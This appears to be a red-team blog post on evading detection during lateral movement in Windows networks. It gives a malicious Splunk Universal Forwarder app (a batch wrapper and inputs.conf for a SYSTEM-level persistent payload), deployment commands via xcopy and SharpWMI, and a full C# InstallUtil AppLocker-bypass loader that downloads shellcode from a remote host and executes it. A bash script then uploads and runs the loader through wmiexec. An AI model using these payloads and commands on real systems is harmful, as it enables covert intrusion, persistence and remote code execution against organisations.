Out of The Box - Lateral Movements

With many defenders keenly focused on identifying malicious activity including lateral movement, we as attackers must adapt techniques beyond the vanilla offerings of our typical toolsets. These built pivoting in techniques, such as WMI and PSExec pivots in Cobalt Strike, are very convenient but often set off many alarms. We are sharing a few methods we have used as alternatives.

Using Splunk for Lateral Movements

Splunk is a powerful log aggregation and search engine, but with great power comes great hackability, or was it responsibility? Either way, we like to take advantage of Splunk deployments when we can.

Splunk log collection agents, known as Universal Forwarders, are often widely deployed to collect and forward logs from workstations and servers. These Universal Forwarders contain a lot of power, including the ability to run Splunk applications. We can craft a Splunk application with a scripted input, that when run by the Universal Forwarder, will run our payload. As a bonus, this scripted input will continue to run on a periodic basis, also giving us persistence. Another win for the baddies like us, nearly all Splunk Universal Forwarder installs in the wild are running as System or root.

Evil Splunk Application

A Splunk application is just a collection of files/folders. Your evil splunk app should have a malicious payload/script and a inputs.conf file specifying when to run it.

Evil Script collect_logs.bat

@echo off
start "Log Collection" "C:\Program Files\SplunkUniversalForwarder\etc\apps\TA_winesc\bin\evil.exe"

:LOOP
tasklist /FI "IMAGENAME eq evil.exe" 2>NUL | find /I /N "evil.exe">NUL
IF ERRORLEVEL 1 (
  GOTO CONTINUE
) ELSE (
  TIMEOUT /T 5 
  GOTO LOOP
)

:CONTINUE

inputs.conf

[script://.\bin\collect_logs.bat]
disabled = 0
interval = 10
sourcetype = logdebug

Don't forget to put your exe payload evil.exe in the bin folder as well!

This is just one example, but one we like to use because the bat wrapper gives us some nice persistence by ensuring the payload will be restarted by the Splunk Forwarder whenever the payload dies.

Deploying the Application

For lateral movement, this task is trivial as we merely need to copy our malicious application folder into <splunk_install_dir>/etc/apps on the targeted host. Thats it, the Splunk Universal Forwarder will eventually load our application and give us a callback. This file copy can be done through Cobalt Strike's file browser GUI by simply browsing to the admin share of the target host and dropping in the application folder and files. Any file copy command, such as xcopy, or using explorer.exe if you have a gui, will also work fine. Here is an example of doing it with xcopy.

run: xcopy /E "c:\temp\evil_app " "\\sql.CORP.DERUMO.COM\c$\Program Files\SplunkUniversalForwarder\etc\apps\evil_app"

Once the application file is copied over and in place, it can take a while for the app callback to occur. This can optionally sped up by asking the Splunk Service to restart. One way to do this is using WMI to restart the Splunk Universal Forwarder Service. Tevora added service control functionaility into SharpWmi to do this, but any method to control services should work.

run .NET program: SharpWMI.exe action=service controlcmd=StopService computername=SQL.CORP.DERUMO.COM  service=SplunkForwarder username=sqlservice@corp.derumo.com password=*******
run .NET program: SharpWMI.exe action=query computername=SQL.CORP.DERUMO.COM  query="SELECT * FROM Win32_Service Where Name='SplunkForwarder'" username=sqlservice@corp.derumo.com password==*******
run .NET program: SharpWMI.exe action=service controlcmd=StartService computername=SQL.CORP.DERUMO.COM  service=SplunkForwarder username=sqlservice@corp.derumo.com password==*******

If all goes well, you should have a SYSTEM shell (typically) on the targeted system. This lateral movement technique has let us fly under the radar in many environments, and Splunk Universal Forwarders are ubiqitous enough in the enterprise to be reliably found in most of our engagements.

WMI and InstallUtil

Another method Tevora has used to great success is the InstallUtil binary, an execution method that allows for application whitelisting bypass and pairs well with WMI for lateral movement. While operating in a heavily restricted environemnt, Tevora settled upon this method after recalling Casey Smith's(@subTee) blogs on AppLocker bypass with InstallUtil.exe. By combining Casey Smith's code listed here with a few scripts, pivoting with Cobalt Strike was made relatively simple.

Casey's code here:

using System;
using System.Net;
using System.Configuration.Install;
using System.Runtime.InteropServices;
 
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
*/

public class Program
{
	public static void Main()
	{
		Console.WriteLine("system");

	}
	
}

[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
	//The Methods can be Uninstall/Install.  Install is transactional, and really unnecessary.
	public override void Uninstall(System.Collections.IDictionary savedState)
	{
		Shellcode.Exec(Context.Parameters["server"]);
	}
	
}

public class Shellcode
{
	public static void Exec(string url)
	{
		IntPtr handle = GetConsoleWindow();
		ShowWindow(handle, 0); //Hides Process Window
		
		WebClient wc = new WebClient();
		wc.Headers.Add("user-agent", "User-Agent Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ko; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 ");
		byte[] shellcode = wc.DownloadData(url);
		
		UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode.Length);
		IntPtr hThread = IntPtr.Zero;
		UInt32 threadId = 0;
		// prepare data


		IntPtr pinfo = IntPtr.Zero;

		// execute native code

		hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
		WaitForSingleObject(hThread, 0xFFFFFFFF);

	}
  
	private static UInt32 MEM_COMMIT = 0x1000;

	private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

	[DllImport("kernel32")]
	private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
	 UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

	[DllImport("kernel32")]
	private static extern IntPtr CreateThread(

	  UInt32 lpThreadAttributes,
	  UInt32 dwStackSize,
	  UInt32 lpStartAddress,
	  IntPtr param,
	  UInt32 dwCreationFlags,
	  ref UInt32 lpThreadId

	  );


	[DllImport("kernel32")]
	private static extern UInt32 WaitForSingleObject(

	  IntPtr hHandle,
	  UInt32 dwMilliseconds
	  );
	
	[DllImport("kernel32")]
	static extern IntPtr GetConsoleWindow();
	
	[DllImport("user32.dll")]
	static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
	
}

With this we will need to finish a few tasks before it is ready to be used.

First, compile it:
Windows:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:c:\Users\sflores\Desktop\payload.exe C:\Users\sflores\Desktop\payload.cs

Linux:

mcs /reference:System.Configuration.Install.dll -sdk:2 -out:payload.exe payload.cs

Second, generate raw shellcode:

Third, host shellcode:

Now that we have everything set up we need to get our binary on the remote host and execute it. To run the binary with InstallUtil.exe you will need to pass it some arguments such as logfile location, server address, and the binary location (the U flag sets to uninstall). Something like this:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /server="http://192.168.80.130/payload" /U C:\Users\Public\payload.exe

A spur the moment very simple bash script to automate some of this. It will upload the binary to the remote host with Impacket's wmiexec and then execute InstallUtil.exe. Unfortunately this isn't the cleanest method due to dropping an assembly directly on the system.


#!/bin/bash
read -p "Host: " hostn
read -p "User: " usern
echo -n "Pass: "
echo
wmiexec.py $usern:$pass@$hostn put /root/payload.exe C:\\Users\\Public
wmiexec.py $usern:$pass@$hostn cmd.exe /C C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe /logfile= /server="http://192.168.80.130/payload" /U C:\\Users\\Public\\payload.exe

If all goes well we should see:

Other Methods

These are just a few methods we have used, and are far from perfect for every engagement. The important thing is to be ready to use alternative method of pivoting than the vanilla options from toolsets like Cobalt Strike, Empire, and Metasploit. Try new things, tweak old things, and evolve your methods until you find something that best fits your current engagement. Hopefully these methods discussed here provide some inspiration for that.